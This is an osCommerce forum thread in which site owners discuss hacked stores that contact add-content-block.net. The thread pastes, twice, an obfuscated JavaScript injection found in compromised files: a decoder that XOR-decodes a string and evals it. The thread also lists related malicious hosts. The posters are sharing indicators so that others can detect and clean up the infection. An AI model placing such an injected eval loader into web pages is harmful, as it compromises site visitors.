Transfering data from add-content-block.net ?

[DJ_AX]

So I'm working on my store ... getting ready to go live .. and noticed in the status bar of my browser "Transfering data from add-content-block.net" .. sometimes seems to be slowing my connection. Is this a Firefox/Mac thing?

Is this something in the oscommerce or one of the contributions I've added? Is it a browser thing?

A google search returned me nothing and I couldn't find it anywhere in any of my files.

I know I have not programmed in any external links or connections myself.. no ad or banner programs or anything ..

 

Anybody here now what's up with that?

[sdtom]

Today I found a couple of our websites requesting to store a cookie from add-content-block.net -- the sites had been hacked, and we found the following script in a number of files:

 

<script language=JavaScript>function jobn15(p){var h=p.length,k=1024,s,i,c,z=0,d=0,j=0,t=Array(63,25,47,45,23,62,30,44,49,29,0,0,0,

0,0,0,24,12,51,56,60,9,7,31,43,6,28,18,36,54,27,55,1,5,58,26,53,11,8,4,40,17,38,

0

,0,0,0,39,0,35,2,34,20,37,50,57,52,22,21,3,15,61,16,0,46,13,10,19,48,33,32,59,14

,

42,41);for(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k);s>0;s--,h--){{j|=(t[p.charCodeAt(z++)-48])<<d;if(d){c+=String.fromCharCode(216^j&255);j>>=8;d-=2}else{d=6}}}eval©;}}jobn15('2IH3D6wHM2rHgfSHHi50J6H3m50CD6wp3iN2Mfym2yS77MUD0s675ySpTMU5MZN3mixC5RH2C2yy

wip5tfrHXr5mO_U2Di0pOSUHmSUHTHU3Opw7MNN276lHOG50B41p7bHmy6NHMfUDjZUHtS2ygSU2OiUD

8

UGRv0xwpF0D0kp25Rw0B025C0S7Dfr7eHxRpal7mIw2tfSgu_x5HfSXhMNgRBN7Hcr3gIyCM6H3my2gL

G

G75ySpTMHg0Fl')</script>

 

Are you by chance at Ix?

[DJ_AX]

Today I found a couple of our websites requesting to store a cookie from add-content-block.net -- the sites had been hacked, and we found the following script in a number of files:

 

<script language=JavaScript>function jobn15(p){var h=p.length,k=1024,s,i,c,z=0,d=0,j=0,t=Array(63,25,47,45,23,62,30,44,49,29,0,0,0,

0,0,0,24,12,51,56,60,9,7,31,43,6,28,18,36,54,27,55,1,5,58,26,53,11,8,4,40,17,38,

0

,0,0,0,39,0,35,2,34,20,37,50,57,52,22,21,3,15,61,16,0,46,13,10,19,48,33,32,59,14

,

42,41);for(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k);s>0;s--,h--){{j|=(t[p.charCodeAt(z++)-48])<<d;if(d){c+=String.fromCharCode(216^j&255);j>>=8;d-=2}else{d=6}}}eval©;}}jobn15('2IH3D6wHM2rHgfSHHi50J6H3m50CD6wp3iN2Mfym2yS77MUD0s675ySpTMU5MZN3mixC5RH2C2yy

wip5tfrHXr5mO_U2Di0pOSUHmSUHTHU3Opw7MNN276lHOG50B41p7bHmy6NHMfUDjZUHtS2ygSU2OiUD

8

UGRv0xwpF0D0kp25Rw0B025C0S7Dfr7eHxRpal7mIw2tfSgu_x5HfSXhMNgRBN7Hcr3gIyCM6H3my2gL

G

G75ySpTMHg0Fl')</script>

 

Are you by chance at Ix?

 

I just figured out the above has also happened on many of the domains on our shared server (but not all of them)

I'm with another provider. I'm working with a few others to find out more info.

[DJ_AX]

Off topic but very interesting ... :blink: when I first discovered something going on with "a...c...b....net" I googled it and 0 results came up.. After I started this thread here .. about 5 minutes after I think... googling it produced a link to my post in this forum. Damn that's fast! ... imho anyway <_< .. peace

[sdtom]

Yes, it makes one wonder about Google's reach ;)

 

Two other sites trying to store cookies (same hack) -- grandvx.com and 213.155.4.191.

[Jan Zonjee]

googling it produced a link to my post in this forum.

Because the function name is probably changing all the time it makes more sense to search for a subset of the code. Searching for

for(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k); produced 53 results in Google.